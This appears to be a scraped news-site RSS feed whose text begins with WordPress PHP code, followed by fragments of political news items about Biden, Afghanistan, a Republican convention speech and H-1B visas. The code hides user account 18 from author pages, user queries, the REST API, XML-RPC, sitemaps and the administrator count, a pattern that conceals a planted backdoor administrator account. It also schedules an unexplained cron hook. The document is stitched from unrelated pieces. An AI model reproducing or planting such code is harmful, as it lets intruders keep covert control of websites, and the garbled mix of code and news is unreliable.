add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post India’s Response “Somewhat Shaky”, Biden In Terms of Russia-Invasion appeared first on The Edge Media.
]]>The US also asked India to consider oil supplies from Moscow after Washington took a major measure prohibiting crude oil shipments from the Kremlin.
The post India’s Response “Somewhat Shaky”, Biden In Terms of Russia-Invasion appeared first on The Edge Media.
]]>The post As Joe Biden defends the US withdrawal from Afghanistan, chaos reigns in Kabul. appeared first on The Edge Media.
]]>On Sunday, Afghan President Ashraf Ghani fled the country, claiming he wanted to avoid bloodshed. After several hours of delays, evacuation flights commenced on Monday evening, according to the US. US President Joe Biden defended his choice to leave Afghanistan in a speech on Monday.
President Biden stated that he remains firm by his decision. After 20 years, he has learned the hard way that withdrawing from the US military is never a wise idea. That is why they haven’t left.
The post As Joe Biden defends the US withdrawal from Afghanistan, chaos reigns in Kabul. appeared first on The Edge Media.
]]>The post White House Official: “Trump ‘Is No Hawk’, Believes In Peace” appeared first on The Edge Media.
]]>“President Trump challenged, and continues to challenge, an increasingly provocative and militant China. But make no mistake, President Trump is no hawk,” Lt Gen (retired) Joseph Keith Kellogg Jr., who is the National Security Advisor to Vice President Mike Pence, said in his address to the Republican National Convention.
“He wisely wields the sword when required, but believes in seeking peace instead of perpetual conflict,” Kellogg said in his address on the third day of the convention.
The Republican National Convention will on Thursday formally re-nominate President Donald Trump as its candidate for the November 3 presidential election.
President Trump and Vice President Mike Pence will be challenged by the Democratic Party’s presidential nominee Joe Biden and his Indian-American running mate Senator Kamala Harris.
In his remarks, Kellogg said that just over a week ago, Trump brokered a peace agreement between the United Arab Emirates and Israel, the first in the Middle East in over 25 years. And this week, Afghan negotiators, with help from American officials, will start peace negotiations between the Taliban and the Afghan government to end America’s longest war, he said.
“Ask yourself, has this President kept his promises…to keep us out of needless conflicts and to pursue ending wars without end? Has he defended your interests in renegotiating trade deals that previously hurt Americans and our national security? Has he fulfilled his Commander in Chief role by decisively going after our Nation’s enemies? You and I know, the answer is yes,” Kellogg said.
The choice is clear, he said. “This is the most important election of our lifetime. The next four years will decide the course of our country for decades to come. I am asking you to stand up and be counted, so we never have to look back and recall what it was once like in America when men and women were free, our families were secure — and we had a President who served the people,” he said.
Over the past three-and-a-half years, Kellogg said, he has witnessed every major foreign policy and national security decision by the President.
“I have been in the room where it happened. I saw only one agenda and one guiding question when tough calls had to be made is this decision right for America?” he said.
– PTI
The post White House Official: “Trump ‘Is No Hawk’, Believes In Peace” appeared first on The Edge Media.
]]>The post H-1B Visa Holders Allowed To Return To US appeared first on The Edge Media.
]]>
The US Department of State advisory said dependents (spouses and children) will also be allowed to travel along with primary visa holders.
“Travel by applicants seeking to resume ongoing employment in the United States in the same position with the same employer and visa classification”, the state department advisory said.
The administration also allowed travel by technical specialists, senior-level managers, and other workers who hold H-1B visas and their travel is necessary to facilitate the immediate and continued economic recovery of the United States.
On June 22, the US President Donald Trump had signed a proclamation that till the end of the year in the aftermath of the COVID-19 pandemic.
The administration also allowed travel of visa holders who are working as public health or healthcare professional, or researcher to alleviate the effects of the COVID-19 pandemic, or to conduct ongoing medical research in an area with a substantial public health benefit.
‘Travel supported by a request from a US government agency or entity to meet critical US foreign policy objectives or to satisfy treaty or contractual obligations. This would include individuals, identified by the Department of Defense or another US government agency, performing research, providing IT support/services, or engaging other similar projects essential to a US government agency,’ the advisory stated.
– ANI
The post H-1B Visa Holders Allowed To Return To US appeared first on The Edge Media.
]]>